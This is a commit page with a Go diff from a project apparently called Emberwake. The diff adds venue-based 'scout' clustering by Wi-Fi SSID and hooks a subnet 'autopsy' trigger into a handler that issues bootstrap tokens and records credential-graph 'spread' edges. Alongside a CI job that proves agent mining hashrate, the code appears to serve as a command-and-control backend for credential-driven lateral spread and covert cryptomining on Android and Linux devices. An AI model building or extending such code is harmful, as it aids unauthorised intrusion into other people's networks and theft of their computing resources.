Add scout constellation mode for APK venue persona packs.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Cluster 3+ scout_report hits on the same SSID within 10 minutes; server infers airport/campus/retail venue class and pushes persona spread_policy. Emberwake weather-map merges active scout biomes. Includes agent, server API, and Vitest coverage.
This commit is contained in:
AetherForge
2026-06-07 09:18:58 -07:00
parent 8b14582975
commit bbab38f8e1
60 changed files with 2610 additions and 43 deletions

View File

@@ -47,14 +47,25 @@ type spreadCredReportRequest struct {
// SpreadCredHandler issues short-lived bootstrap tokens and records cred graph edges.
type SpreadCredHandler struct {
db *dbpkg.Database
provider SpreadCredProvider
db *dbpkg.Database
provider SpreadCredProvider
hub *WSHub
pathTracer *PathTracerHandler
}
func NewSpreadCredHandler(database *dbpkg.Database, provider SpreadCredProvider) *SpreadCredHandler {
return &SpreadCredHandler{db: database, provider: provider}
}
// BindAutopsyTrigger wires immune autopsy emission when subnet spread pause activates.
func (h *SpreadCredHandler) BindAutopsyTrigger(hub *WSHub, pathTracer *PathTracerHandler) {
if h == nil {
return
}
h.hub = hub
h.pathTracer = pathTracer
}
// GET /api/v1/spread/credential-graph (alias: /api/v1/emberwake/cred-graph)
func (h *SpreadHandler) GetCredGraph(w http.ResponseWriter, r *http.Request) {
rows, err := h.db.ListCredGraphBySubnet()
@@ -202,7 +213,11 @@ func (h *SpreadCredHandler) ReportEdge(w http.ResponseWriter, r *http.Request) {
target = req.Host
}
if paused, recErr := h.db.RecordSubnetSpreadFailure(target); recErr == nil && paused {
log.Printf("[subnet-immune] spread paused for prefix %q after %d failures", atlas.PrefixFromHostOrIP(target), atlas.SubnetSpreadFailureThreshold)
prefix := atlas.PrefixFromHostOrIP(target)
log.Printf("[subnet-immune] spread paused for prefix %q after %d failures", prefix, atlas.SubnetSpreadFailureThreshold)
if h.hub != nil {
h.hub.TriggerSubnetAutopsy(prefix, h.pathTracer)
}
}
}
writeJSON(w, map[string]interface{}{"ok": true})